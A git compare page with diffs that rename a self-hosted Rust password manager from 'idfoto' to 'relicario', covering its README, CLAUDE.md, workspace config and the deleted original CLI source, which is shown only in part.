Compare commits
153 Commits
c50e0d448b
...
plan-1c-al
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
da3c3893bb | ||
|
|
9139dd78a0 | ||
|
|
357455d979 | ||
|
|
69bb58c977 | ||
|
|
4341124d38 | ||
|
|
3238ef4dd4 | ||
|
|
f3b915a635 | ||
|
|
76bb61aa10 | ||
|
|
bc95b047a2 | ||
|
|
dc8097589e | ||
|
|
d090fc421e | ||
|
|
856ceb2d93 | ||
|
|
1d5ad5e59e | ||
|
|
eed11acba2 | ||
|
|
14397b33f0 | ||
|
|
8cc1e777be | ||
|
|
fbb64729ce | ||
|
|
2ff3ab1d7f | ||
|
|
0cef607859 | ||
|
|
3d2b021cb2 | ||
|
|
2d4dcb5f6b | ||
|
|
56ab58cbe9 | ||
|
|
be32ea13c6 | ||
|
|
533bfd5bea | ||
|
|
2fd6daad8e | ||
|
|
c0fba2a8dc | ||
|
|
20144e8e02 | ||
|
|
bd9dd206ac | ||
|
|
7781a51848 | ||
|
|
dc8afcb634 | ||
|
|
b4da5bffcf | ||
|
|
04c9503036 | ||
|
|
14aaac672c | ||
|
|
c03a492ee3 | ||
|
|
ad6d8af2f6 | ||
|
|
a1d733ddeb | ||
|
|
76f34bfcf5 | ||
|
|
e0c511e320 | ||
|
|
65e0d3cb80 | ||
|
|
c3edf9d413 | ||
|
|
20350d509b | ||
|
|
b263c27da9 | ||
|
|
494eedbbb8 | ||
|
|
b8afec3560 | ||
|
|
92b9e64ef9 | ||
|
|
fac2e49cf1 | ||
|
|
f3ce76d9fb | ||
|
|
8c315654ae | ||
|
|
a3871ac890 | ||
|
|
10f249d95e | ||
|
|
a6bad4bb3e | ||
|
|
cbd1dbd706 | ||
|
|
b5015b3e9b | ||
|
|
cc279bac0b | ||
|
|
06c8903e2b | ||
|
|
377d73355b | ||
|
|
ed451041b0 | ||
|
|
fe017455d3 | ||
|
|
89b22cb089 | ||
|
|
5dce2c10f9 | ||
|
|
a50099a066 | ||
|
|
15e6ed9c75 | ||
|
|
589d7b90b4 | ||
|
|
06d21bf7c9 | ||
|
|
6890926e31 | ||
|
|
c8535e11f5 | ||
|
|
7853db061e | ||
|
|
3e0cafb269 | ||
|
|
17bf47611f | ||
|
|
9c49e5e148 | ||
|
|
519a6f0e36 | ||
|
|
20ff1d9f47 | ||
|
|
49b78203f8 | ||
|
|
3cf09faf1e | ||
|
|
557fb95b69 | ||
|
|
9cd5924109 | ||
|
|
08b1735b0e | ||
|
|
c7064183d6 | ||
|
|
950ae3d8dd | ||
|
|
2074677278 | ||
|
|
4a98be0dae | ||
|
|
f673b1ddee | ||
|
|
1fb0f8cc03 | ||
|
|
61b1a9710b | ||
|
|
61d6fb723d | ||
|
|
db3f2e15f2 | ||
|
|
b2d8a759ef | ||
|
|
266761232d | ||
|
|
1a30c4ffe0 | ||
|
|
a5ddbf2e40 | ||
|
|
509db707e0 | ||
|
|
23f7cb76b1 | ||
|
|
a95f92fe71 | ||
|
|
91b4b5b7a4 | ||
|
|
5786d9ef1a | ||
|
|
0b0f1cea73 | ||
|
|
0707628d58 | ||
|
|
316036832c | ||
|
|
ee25ffed41 | ||
|
|
24ed740718 | ||
|
|
bc60f0a6b4 | ||
|
|
0eac9c7991 | ||
|
|
87ead533e5 | ||
|
|
2ea7658036 | ||
|
|
1bd86bdb13 | ||
|
|
1e8ffb02a3 | ||
|
|
6c601fae08 | ||
|
|
69c2c7453b | ||
|
|
9a5ae2c704 | ||
|
|
166f1418f7 | ||
|
|
be6928c0d1 | ||
|
|
cc7247e7f6 | ||
|
|
2524270524 | ||
|
|
b71ebcc418 | ||
|
|
051c98dece | ||
|
|
39f04a0b97 | ||
|
|
ff19faff03 | ||
|
|
baf6416805 | ||
|
|
a56114650a | ||
|
|
1916fa0f81 | ||
|
|
68f2908156 | ||
|
|
cdbd648079 | ||
|
|
c50285c4a5 | ||
|
|
4c26b4c534 | ||
|
|
0551efe69e | ||
|
|
336e90fc84 | ||
|
|
8236a18433 | ||
|
|
9a53b264f2 | ||
|
|
5397d385e6 | ||
|
|
26e68b133c | ||
|
|
a1c9d567b1 | ||
|
|
0c800bcd4f | ||
|
|
b48ff0a05c | ||
|
|
8e63ccc23b | ||
|
|
8093649757 | ||
|
|
029784b67a | ||
|
|
78ffeb4b8d | ||
|
|
b4febbbe45 | ||
|
|
caf360c978 | ||
|
|
ff62970917 | ||
|
|
ea9dee00e1 | ||
|
|
7cf7960aff | ||
|
|
71f7bf9797 | ||
|
|
6866250f78 | ||
|
|
98c20b613c | ||
|
|
eae8fd4a24 | ||
|
|
7baec1cd67 | ||
|
|
c7aab28484 | ||
|
|
847051216d | ||
|
|
0d374f3faf | ||
|
|
822547f349 | ||
|
|
01d5fd5d0d | ||
|
|
596daf320a |
7
.gitignore
vendored
7
.gitignore
vendored
@@ -1,2 +1,9 @@
|
||||
target/
|
||||
.superpowers/
|
||||
.worktrees/
|
||||
extension/node_modules/
|
||||
extension/dist/
|
||||
extension/dist-firefox/
|
||||
extension/wasm/
|
||||
reference.jpg
|
||||
ref.jpg
|
||||
|
||||
61
CLAUDE.md
61
CLAUDE.md
@@ -1,41 +1,54 @@
|
||||
# CLAUDE.md — idfoto
|
||||
# CLAUDE.md — relicario
|
||||
|
||||
## What is this
|
||||
|
||||
idfoto is a git-backed, self-hostable password manager with a Rust core. Two-factor vault decryption: passphrase + a reference JPEG carrying a 256-bit secret embedded via DCT steganography. The server only ever sees opaque ciphertext.
|
||||
relicario is a git-backed, self-hostable password manager with a Rust core. Two-factor vault decryption: passphrase + a reference JPEG carrying a 256-bit secret embedded via DCT steganography. The server only ever sees opaque ciphertext.
|
||||
|
||||
## Build and test
|
||||
|
||||
```bash
|
||||
cargo build # build everything
|
||||
cargo test # run all tests (unit + integration)
|
||||
cargo test -p idfoto-core # core library tests only
|
||||
cargo run -- --help # CLI help
|
||||
cargo run -- generate -l 32 # quick smoke test
|
||||
cargo build # build everything
|
||||
cargo test # run all tests (unit + integration)
|
||||
cargo test -p relicario-core # core library tests only
|
||||
cargo test -p relicario-cli --test basic_flows # CLI integration tests
|
||||
cargo build -p relicario-wasm --target wasm32-unknown-unknown # WASM target
|
||||
cargo run -p relicario-cli -- --help # CLI help
|
||||
cargo run -p relicario-cli -- generate --length 32 # quick smoke test
|
||||
```
|
||||
|
||||
## Project structure
|
||||
|
||||
```
|
||||
crates/
|
||||
├── idfoto-core/ # Platform-agnostic library (no filesystem, no git, no network)
|
||||
├── relicario-core/ # Platform-agnostic library (no filesystem, no git, no network)
|
||||
│ ├── src/
|
||||
│ │ ├── lib.rs # Re-exports public API
|
||||
│ │ ├── error.rs # IdfotoError enum (thiserror)
|
||||
│ │ ├── crypto.rs # Argon2id KDF + XChaCha20-Poly1305 encrypt/decrypt
|
||||
│ │ ├── entry.rs # Entry, ManifestEntry, Manifest structs (serde)
|
||||
│ │ ├── vault.rs # encrypt_entry, decrypt_entry, encrypt_manifest, decrypt_manifest
|
||||
│ │ └── imgsecret.rs # DCT-based 256-bit secret embedding in JPEGs
|
||||
│ └── tests/
|
||||
│ └── integration.rs # Full-workflow and two-factor independence tests
|
||||
└── idfoto-cli/ # CLI binary
|
||||
└── src/
|
||||
└── main.rs # clap CLI: init, add, get, list, edit, rm, sync, generate, device
|
||||
│ │ ├── lib.rs # Re-exports public API
|
||||
│ │ ├── error.rs # RelicarioError enum (thiserror)
|
||||
│ │ ├── crypto.rs # Argon2id KDF (length-prefixed, Zeroizing) + XChaCha20-Poly1305
|
||||
│ │ ├── ids.rs # ItemId, FieldId, content-addressed AttachmentId
|
||||
│ │ ├── time.rs # now_unix, MonthYear
|
||||
│ │ ├── item_types/ # per-type cores + ItemType/ItemCore enums
|
||||
│ │ ├── item.rs # Item envelope, Field, FieldKind, FieldValue, Section
|
||||
│ │ ├── attachment.rs # AttachmentRef, EncryptedAttachment, encrypt/decrypt helpers
|
||||
│ │ ├── manifest.rs # Browse-without-decrypt index (schema_version 2)
|
||||
│ │ ├── settings.rs # VaultSettings: retention, generator defaults, caps
|
||||
│ │ ├── generators.rs # CSPRNG password + BIP39 + zxcvbn gate
|
||||
│ │ ├── vault.rs # JSON ↔ AEAD wrappers for Item/Manifest/VaultSettings
|
||||
│ │ └── imgsecret.rs # DCT steganography (MAX_DIMENSION cap)
|
||||
│ └── tests/ # integration.rs, attachments.rs, generators.rs, format_v2.rs, field_history.rs
|
||||
├── relicario-cli/ # `relicario` binary
|
||||
│ ├── src/main.rs # clap surface + command handlers
|
||||
│ ├── src/helpers.rs # vault_dir, git_command, iso8601
|
||||
│ ├── src/session.rs # UnlockedVault (master key in Zeroizing)
|
||||
│ └── tests/ # basic_flows, edit_and_history, attachments, settings, vault_detection
|
||||
└── relicario-wasm/ # WASM bindings for the extension
|
||||
├── src/lib.rs # #[wasm_bindgen] surface
|
||||
└── src/session.rs # opaque SessionHandle → Zeroizing<[u8;32]>
|
||||
```
|
||||
|
||||
## Key design decisions
|
||||
|
||||
- **idfoto-core is bytes-in/bytes-out.** No filesystem, no network, no git operations. Makes it portable to WASM, Android, iOS.
|
||||
- **relicario-core is bytes-in/bytes-out.** No filesystem, no network, no git operations. Makes it portable to WASM, Android, iOS.
|
||||
- **XChaCha20-Poly1305** over AES-GCM — 192-bit nonce eliminates collision risk, fast in WASM/ARM without AES-NI.
|
||||
- **Single master_key** (no per-entry subkeys) — simpler, sufficient for family vault sizes.
|
||||
- **imgsecret uses central-embed DCT** — embeds only in the middle 70% of the image (15% crumple zone for crop tolerance), with majority voting across 5-50 redundant copies.
|
||||
@@ -49,24 +62,24 @@ passphrase (UTF-8 bytes) || image_secret (32 bytes from reference JPEG)
|
||||
→ Argon2id(salt=vault_salt, m=64MiB, t=3, p=4)
|
||||
→ master_key (32 bytes)
|
||||
→ XChaCha20-Poly1305(nonce=random 24 bytes)
|
||||
→ encrypted entry/manifest
|
||||
→ encrypted Item/Manifest/VaultSettings
|
||||
```
|
||||
|
||||
## Conventions
|
||||
|
||||
- Tests use fast Argon2id params (m=256, t=1, p=1) so they don't take forever.
|
||||
- Test JPEGs are generated synthetically via `make_test_jpeg()` — no binary test fixtures.
|
||||
- Entry IDs are random 8-char hex strings.
|
||||
- Item IDs are random 8-char hex strings.
|
||||
- Git history is preserved as an audit log — no squashing.
|
||||
- The CLI shells out to `git` for sync — no libgit2/gitoxide dependency.
|
||||
|
||||
## Remote
|
||||
|
||||
Source code: `ssh://git@git.adlee.work:2222/alee/idfoto.git`
|
||||
Source code: `ssh://git@git.adlee.work:2222/alee/relicario.git`
|
||||
|
||||
## Design spec
|
||||
|
||||
Full threat model, entropy analysis, and architecture: `docs/superpowers/specs/2026-04-11-idfoto-design.md`
|
||||
Full threat model, entropy analysis, and architecture: `docs/superpowers/specs/2026-04-11-relicario-design.md`
|
||||
|
||||
## Roadmap
|
||||
|
||||
|
||||
1418
Cargo.lock
generated
1418
Cargo.lock
generated
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,7 @@
|
||||
[workspace]
|
||||
resolver = "2"
|
||||
members = [
|
||||
"crates/idfoto-core",
|
||||
"crates/idfoto-cli",
|
||||
"crates/relicario-core",
|
||||
"crates/relicario-cli",
|
||||
"crates/relicario-wasm",
|
||||
]
|
||||
|
||||
58
README.md
58
README.md
@@ -1,4 +1,8 @@
|
||||
# idfoto
|
||||
<p align="center">
|
||||
<img src="extension/icons/relicario-logo.svg" alt="relicario" width="128" height="128">
|
||||
</p>
|
||||
|
||||
# relicario
|
||||
|
||||
A git-backed, self-hostable password manager where decryption requires two independent factors: a passphrase you memorize and a reference JPEG that carries a hidden secret. Compromise of either factor alone is insufficient.
|
||||
|
||||
@@ -19,7 +23,7 @@ Your reference photo (something you have)
|
||||
your device (opaque ciphertext)
|
||||
```
|
||||
|
||||
At vault creation, idfoto embeds a random 256-bit secret into a carrier JPEG using DCT steganography. This photo becomes your **reference image** — a second factor that lives on your devices (and optionally as a "dead drop" on social media, since it survives JPEG re-encoding and mild cropping).
|
||||
At vault creation, relicario embeds a random 256-bit secret into a carrier JPEG using DCT steganography. This photo becomes your **reference image** — a second factor that lives on your devices (and optionally as a "dead drop" on social media, since it survives JPEG re-encoding and mild cropping).
|
||||
|
||||
To unlock the vault, you provide your passphrase and point the client at the reference image. The client extracts the hidden secret, concatenates it with your passphrase, and runs Argon2id to derive the master key. Everything else follows from there.
|
||||
|
||||
@@ -30,9 +34,9 @@ To unlock the vault, you provide your passphrase and point the client at the ref
|
||||
A git repository containing:
|
||||
- `manifest.enc` — opaque binary blob
|
||||
- `entries/*.enc` — more opaque binary blobs
|
||||
- `.idfoto/salt` — a random 32-byte value (not secret)
|
||||
- `.idfoto/params.json` — Argon2id parameters (not secret)
|
||||
- `.idfoto/devices.json` — authorized device public keys
|
||||
- `.relicario/salt` — a random 32-byte value (not secret)
|
||||
- `.relicario/params.json` — Argon2id parameters (not secret)
|
||||
- `.relicario/devices.json` — authorized device public keys
|
||||
|
||||
That's it. No plaintext. No metadata about what's inside. No keys, no passphrases, no reference images.
|
||||
|
||||
@@ -54,7 +58,7 @@ No single point of failure. The two-factor design means the passphrase alone can
|
||||
| LastPass | ~40-60 bits (master password only) | 1 |
|
||||
| Bitwarden | ~40-60 bits (master password only) | 1 |
|
||||
| 1Password | password + 128-bit Secret Key | 2 |
|
||||
| **idfoto** | **password + 256-bit image secret** | **2** |
|
||||
| **relicario** | **password + 256-bit image secret** | **2** |
|
||||
|
||||
### What we don't protect against
|
||||
|
||||
@@ -69,31 +73,31 @@ No single point of failure. The two-factor design means the passphrase alone can
|
||||
cargo build --release
|
||||
|
||||
# Create a vault (pick any JPEG as the carrier)
|
||||
idfoto init --image vacation.jpg --output reference.jpg
|
||||
relicario init --image vacation.jpg --output reference.jpg
|
||||
|
||||
# Add a credential
|
||||
idfoto add
|
||||
relicario add
|
||||
|
||||
# Retrieve it
|
||||
idfoto get github
|
||||
relicario get github
|
||||
|
||||
# List everything
|
||||
idfoto list
|
||||
relicario list
|
||||
|
||||
# Sync with your git remote
|
||||
idfoto sync
|
||||
relicario sync
|
||||
|
||||
# Generate a random password
|
||||
idfoto generate -l 32
|
||||
relicario generate -l 32
|
||||
```
|
||||
|
||||
### Environment variable
|
||||
|
||||
Set `IDFOTO_IMAGE=/path/to/reference.jpg` to avoid being prompted for the image path on every command.
|
||||
Set `RELICARIO_IMAGE=/path/to/reference.jpg` to avoid being prompted for the image path on every command.
|
||||
|
||||
## The reference image
|
||||
|
||||
The reference JPEG is generated once during `idfoto init`. It looks like a normal photo — because it is one. The 256-bit secret is embedded in the DCT coefficients of the luminance channel using Quantization Index Modulation, with heavy redundancy and Reed-Solomon-style majority voting across multiple copies.
|
||||
The reference JPEG is generated once during `relicario init`. It looks like a normal photo — because it is one. The 256-bit secret is embedded in the DCT coefficients of the luminance channel using Quantization Index Modulation, with heavy redundancy and Reed-Solomon-style majority voting across multiple copies.
|
||||
|
||||
The embedding survives:
|
||||
- JPEG recompression (tested down to quality 85)
|
||||
@@ -105,20 +109,20 @@ This means your reference image can live on your Instagram, your personal websit
|
||||
## Architecture
|
||||
|
||||
```
|
||||
idfoto/
|
||||
relicario/
|
||||
├── crates/
|
||||
│ ├── idfoto-core/ # Platform-agnostic library (no filesystem, no network)
|
||||
│ ├── relicario-core/ # Platform-agnostic library (no filesystem, no network)
|
||||
│ │ ├── crypto.rs # Argon2id KDF + XChaCha20-Poly1305 AEAD
|
||||
│ │ ├── imgsecret.rs # DCT steganography: embed/extract 256-bit secrets in JPEGs
|
||||
│ │ ├── entry.rs # Entry, Manifest data model (serde)
|
||||
│ │ └── vault.rs # Encrypt/decrypt entries and manifests
|
||||
│ └── idfoto-cli/ # CLI binary: filesystem, git, terminal I/O
|
||||
│ └── relicario-cli/ # CLI binary: filesystem, git, terminal I/O
|
||||
└── docs/
|
||||
└── superpowers/
|
||||
└── specs/ # Design specification with full threat model
|
||||
```
|
||||
|
||||
`idfoto-core` takes bytes and returns bytes. It has no knowledge of filesystems, git, or networks. This makes it portable to WASM (browser extension), Android (JNI), and iOS (Swift bridge).
|
||||
`relicario-core` takes bytes and returns bytes. It has no knowledge of filesystems, git, or networks. This makes it portable to WASM (browser extension), Android (JNI), and iOS (Swift bridge).
|
||||
|
||||
### Crypto primitives
|
||||
|
||||
@@ -144,7 +148,7 @@ my-vault.git/
|
||||
├── entries/
|
||||
│ ├── a1b2c3d4.enc # One encrypted entry per file
|
||||
│ └── e5f6a7b8.enc
|
||||
└── .idfoto/
|
||||
└── .relicario/
|
||||
├── salt # 32-byte random salt (not secret)
|
||||
├── params.json # KDF parameters
|
||||
└── devices.json # Authorized device public keys
|
||||
@@ -154,14 +158,14 @@ Entry IDs are random hex strings. Git history is preserved — every add/edit/de
|
||||
|
||||
## Device management
|
||||
|
||||
Each device generates its own ed25519 keypair. The public key is stored in `.idfoto/devices.json` (committed to the repo). Device keys are used for commit signing — they do NOT participate in vault decryption.
|
||||
Each device generates its own ed25519 keypair. The public key is stored in `.relicario/devices.json` (committed to the repo). Device keys are used for commit signing — they do NOT participate in vault decryption.
|
||||
|
||||
Revoking a device: remove its key from `devices.json` and commit. No passphrase or reference image rotation needed.
|
||||
|
||||
```bash
|
||||
idfoto device add --name laptop
|
||||
idfoto device list
|
||||
idfoto device revoke laptop
|
||||
relicario device add --name laptop
|
||||
relicario device list
|
||||
relicario device revoke laptop
|
||||
```
|
||||
|
||||
## Building
|
||||
@@ -169,20 +173,20 @@ idfoto device revoke laptop
|
||||
Requires Rust stable (1.70+).
|
||||
|
||||
```bash
|
||||
git clone ssh://git@git.adlee.work:2222/alee/idfoto.git
|
||||
cd idfoto
|
||||
git clone ssh://git@git.adlee.work:2222/alee/relicario.git
|
||||
cd relicario
|
||||
cargo build --release
|
||||
cargo test
|
||||
```
|
||||
|
||||
The binary is at `target/release/idfoto`.
|
||||
The binary is at `target/release/relicario`.
|
||||
|
||||
## Roadmap
|
||||
|
||||
- [ ] WASM build + Chrome browser extension (inline crypto, no native messaging)
|
||||
- [ ] Secure notes (free-form encrypted text entries)
|
||||
- [ ] Secure document storage (encrypted file attachments up to 5-10 MB)
|
||||
- [ ] `idfoto unlock` daemon (ssh-agent-style, holds master key for a TTL)
|
||||
- [ ] `relicario unlock` daemon (ssh-agent-style, holds master key for a TTL)
|
||||
- [ ] Android/iOS clients (Rust core compiles to ARM)
|
||||
- [ ] Import from LastPass/Bitwarden/1Password
|
||||
- [ ] Firefox/Safari extensions
|
||||
|
||||
@@ -1,22 +0,0 @@
|
||||
[package]
|
||||
name = "idfoto-cli"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "CLI for idfoto password manager"
|
||||
|
||||
[[bin]]
|
||||
name = "idfoto"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
idfoto-core = { path = "../idfoto-core" }
|
||||
clap = { version = "4", features = ["derive"] }
|
||||
anyhow = "1"
|
||||
rpassword = "5"
|
||||
arboard = "3"
|
||||
dirs = "5"
|
||||
hex = "0.4"
|
||||
ed25519-dalek = { version = "2", features = ["rand_core"] }
|
||||
rand = "0.8"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
@@ -1,716 +0,0 @@
|
||||
use anyhow::{bail, Context, Result};
|
||||
use clap::{Parser, Subcommand};
|
||||
use idfoto_core::{
|
||||
decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest, generate_entry_id,
|
||||
Entry, KdfParams, Manifest, ManifestEntry,
|
||||
};
|
||||
use rand::rngs::OsRng;
|
||||
use rand::RngCore;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::fs;
|
||||
use std::io::{self, BufRead, Write};
|
||||
use std::path::PathBuf;
|
||||
use std::process::Command;
|
||||
|
||||
// ─── CLI structure ──────────────────────────────────────────────────────────
|
||||
|
||||
#[derive(Parser)]
|
||||
#[command(
|
||||
name = "idfoto",
|
||||
version,
|
||||
about = "Git-backed password manager with reference image authentication"
|
||||
)]
|
||||
struct Cli {
|
||||
#[command(subcommand)]
|
||||
command: Commands,
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
enum Commands {
|
||||
/// Initialize a new idfoto vault
|
||||
Init {
|
||||
#[arg(long)]
|
||||
image: PathBuf,
|
||||
#[arg(long, default_value = "reference.jpg")]
|
||||
output: PathBuf,
|
||||
},
|
||||
/// Add a new password entry
|
||||
Add,
|
||||
/// Get a password entry by name
|
||||
Get { name: String },
|
||||
/// List all entries
|
||||
List,
|
||||
/// Edit an existing entry
|
||||
Edit { name: String },
|
||||
/// Remove an entry
|
||||
Rm { name: String },
|
||||
/// Sync vault with git remote
|
||||
Sync,
|
||||
/// Generate a random password
|
||||
Generate {
|
||||
#[arg(short, long, default_value = "20")]
|
||||
length: usize,
|
||||
},
|
||||
/// Manage devices
|
||||
Device {
|
||||
#[command(subcommand)]
|
||||
action: DeviceCommands,
|
||||
},
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
enum DeviceCommands {
|
||||
/// Add a new device
|
||||
Add {
|
||||
#[arg(long)]
|
||||
name: String,
|
||||
},
|
||||
/// List registered devices
|
||||
List,
|
||||
/// Revoke a device
|
||||
Revoke { name: String },
|
||||
}
|
||||
|
||||
// ─── Device entry ───────────────────────────────────────────────────────────
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
struct DeviceEntry {
|
||||
name: String,
|
||||
public_key: String, // hex-encoded
|
||||
}
|
||||
|
||||
// ─── Helper functions ───────────────────────────────────────────────────────
|
||||
|
||||
fn vault_dir() -> PathBuf {
|
||||
std::env::current_dir().expect("failed to get current directory")
|
||||
}
|
||||
|
||||
fn idfoto_dir() -> PathBuf {
|
||||
vault_dir().join(".idfoto")
|
||||
}
|
||||
|
||||
fn read_salt() -> Result<[u8; 32]> {
|
||||
let data = fs::read(idfoto_dir().join("salt")).context("failed to read salt")?;
|
||||
let mut salt = [0u8; 32];
|
||||
if data.len() != 32 {
|
||||
bail!("invalid salt file: expected 32 bytes, got {}", data.len());
|
||||
}
|
||||
salt.copy_from_slice(&data);
|
||||
Ok(salt)
|
||||
}
|
||||
|
||||
fn read_params() -> Result<KdfParams> {
|
||||
let data = fs::read_to_string(idfoto_dir().join("params.json"))
|
||||
.context("failed to read params.json")?;
|
||||
let params: KdfParams = serde_json::from_str(&data).context("failed to parse params.json")?;
|
||||
Ok(params)
|
||||
}
|
||||
|
||||
fn get_image_path() -> Result<PathBuf> {
|
||||
if let Ok(path) = std::env::var("IDFOTO_IMAGE") {
|
||||
return Ok(PathBuf::from(path));
|
||||
}
|
||||
let path = prompt("Reference image path")?;
|
||||
Ok(PathBuf::from(path))
|
||||
}
|
||||
|
||||
fn unlock(image_path: &PathBuf) -> Result<[u8; 32]> {
|
||||
let passphrase = rpassword::prompt_password_stderr("Passphrase: ").context("failed to read passphrase")?;
|
||||
|
||||
let jpeg_data = fs::read(image_path).context("failed to read reference image")?;
|
||||
let image_secret =
|
||||
idfoto_core::imgsecret::extract(&jpeg_data).context("failed to extract image secret")?;
|
||||
|
||||
let salt = read_salt()?;
|
||||
let params = read_params()?;
|
||||
|
||||
let master_key = idfoto_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, ¶ms)
|
||||
.context("failed to derive master key")?;
|
||||
|
||||
Ok(master_key)
|
||||
}
|
||||
|
||||
fn read_manifest(key: &[u8; 32]) -> Result<Manifest> {
|
||||
let data = fs::read(vault_dir().join("manifest.enc")).context("failed to read manifest.enc")?;
|
||||
let manifest = decrypt_manifest(key, &data).context("failed to decrypt manifest")?;
|
||||
Ok(manifest)
|
||||
}
|
||||
|
||||
fn write_manifest(key: &[u8; 32], manifest: &Manifest) -> Result<()> {
|
||||
let data = encrypt_manifest(key, manifest).context("failed to encrypt manifest")?;
|
||||
fs::write(vault_dir().join("manifest.enc"), data).context("failed to write manifest.enc")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn git_commit(message: &str) -> Result<()> {
|
||||
let status = Command::new("git")
|
||||
.args(["add", "-A"])
|
||||
.status()
|
||||
.context("failed to run git add")?;
|
||||
if !status.success() {
|
||||
bail!("git add failed");
|
||||
}
|
||||
|
||||
let status = Command::new("git")
|
||||
.args(["commit", "-m", message])
|
||||
.status()
|
||||
.context("failed to run git commit")?;
|
||||
if !status.success() {
|
||||
bail!("git commit failed");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn now_iso8601() -> String {
|
||||
let duration = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap_or_default();
|
||||
format!("{}", duration.as_secs())
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
eprint!("{}: ", message);
|
||||
io::stderr().flush()?;
|
||||
let mut line = String::new();
|
||||
io::stdin().lock().read_line(&mut line)?;
|
||||
Ok(line.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
let value = prompt(message)?;
|
||||
if value.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(value))
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(field: &str, current: &str) -> Result<String> {
|
||||
eprint!("{} [{}]: ", field, current);
|
||||
io::stderr().flush()?;
|
||||
let mut line = String::new();
|
||||
io::stdin().lock().read_line(&mut line)?;
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(current.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_password(length: usize) -> String {
|
||||
const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+";
|
||||
let mut rng = OsRng;
|
||||
(0..length)
|
||||
.map(|_| {
|
||||
let idx = (rng.next_u32() as usize) % CHARSET.len();
|
||||
CHARSET[idx] as char
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
// ─── Command implementations ────────────────────────────────────────────────
|
||||
|
||||
fn cmd_init(image: PathBuf, output: PathBuf) -> Result<()> {
|
||||
// 1. Read carrier JPEG
|
||||
let carrier = fs::read(&image).context("failed to read carrier image")?;
|
||||
|
||||
// 2. Generate random image_secret
|
||||
let mut image_secret = [0u8; 32];
|
||||
OsRng.fill_bytes(&mut image_secret);
|
||||
|
||||
// 3. Embed secret into carrier
|
||||
let reference_jpeg =
|
||||
idfoto_core::imgsecret::embed(&carrier, &image_secret).context("failed to embed secret")?;
|
||||
|
||||
// 4. Save reference JPEG
|
||||
fs::write(&output, &reference_jpeg).context("failed to write reference image")?;
|
||||
eprintln!("Reference image saved to {}", output.display());
|
||||
|
||||
// 5. Prompt for passphrase
|
||||
let passphrase = loop {
|
||||
let p1 = rpassword::prompt_password_stderr("Passphrase (min 8 chars): ")
|
||||
.context("failed to read passphrase")?;
|
||||
if p1.len() < 8 {
|
||||
eprintln!("Passphrase must be at least 8 characters.");
|
||||
continue;
|
||||
}
|
||||
let p2 = rpassword::prompt_password_stderr("Confirm passphrase: ")
|
||||
.context("failed to read passphrase confirmation")?;
|
||||
if p1 != p2 {
|
||||
eprintln!("Passphrases do not match.");
|
||||
continue;
|
||||
}
|
||||
break p1;
|
||||
};
|
||||
|
||||
// 6. Generate random salt
|
||||
let mut salt = [0u8; 32];
|
||||
OsRng.fill_bytes(&mut salt);
|
||||
|
||||
// 7. Derive master key
|
||||
let params = KdfParams::default();
|
||||
let master_key = idfoto_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, ¶ms)
|
||||
.context("failed to derive master key")?;
|
||||
|
||||
// 8. Create directory structure
|
||||
let idfoto = idfoto_dir();
|
||||
fs::create_dir_all(&idfoto).context("failed to create .idfoto directory")?;
|
||||
fs::create_dir_all(vault_dir().join("entries")).context("failed to create entries directory")?;
|
||||
|
||||
// 9. Write config files
|
||||
fs::write(idfoto.join("salt"), &salt).context("failed to write salt")?;
|
||||
fs::write(
|
||||
idfoto.join("params.json"),
|
||||
serde_json::to_string_pretty(¶ms)?,
|
||||
)
|
||||
.context("failed to write params.json")?;
|
||||
fs::write(idfoto.join("devices.json"), "[]").context("failed to write devices.json")?;
|
||||
|
||||
// 10. Encrypt empty manifest
|
||||
let manifest = Manifest::new();
|
||||
let manifest_enc = encrypt_manifest(&master_key, &manifest).context("failed to encrypt manifest")?;
|
||||
fs::write(vault_dir().join("manifest.enc"), manifest_enc)
|
||||
.context("failed to write manifest.enc")?;
|
||||
|
||||
// 11. Create .gitignore
|
||||
fs::write(vault_dir().join(".gitignore"), "reference.jpg\n")
|
||||
.context("failed to write .gitignore")?;
|
||||
|
||||
// 12. Git init and commit
|
||||
let status = Command::new("git").arg("init").status()?;
|
||||
if !status.success() {
|
||||
bail!("git init failed");
|
||||
}
|
||||
git_commit("feat: initialize idfoto vault")?;
|
||||
|
||||
// 13. Success
|
||||
eprintln!("Vault initialized successfully.");
|
||||
eprintln!("IMPORTANT: Keep your reference image safe — you need it to unlock the vault.");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_generate(length: usize) -> Result<()> {
|
||||
println!("{}", generate_password(length));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_add() -> Result<()> {
|
||||
let image_path = get_image_path()?;
|
||||
let master_key = unlock(&image_path)?;
|
||||
|
||||
let name = prompt("Name")?;
|
||||
if name.is_empty() {
|
||||
bail!("Name cannot be empty");
|
||||
}
|
||||
|
||||
let url = prompt_optional("URL (optional)")?;
|
||||
let username = prompt_optional("Username (optional)")?;
|
||||
|
||||
let password = {
|
||||
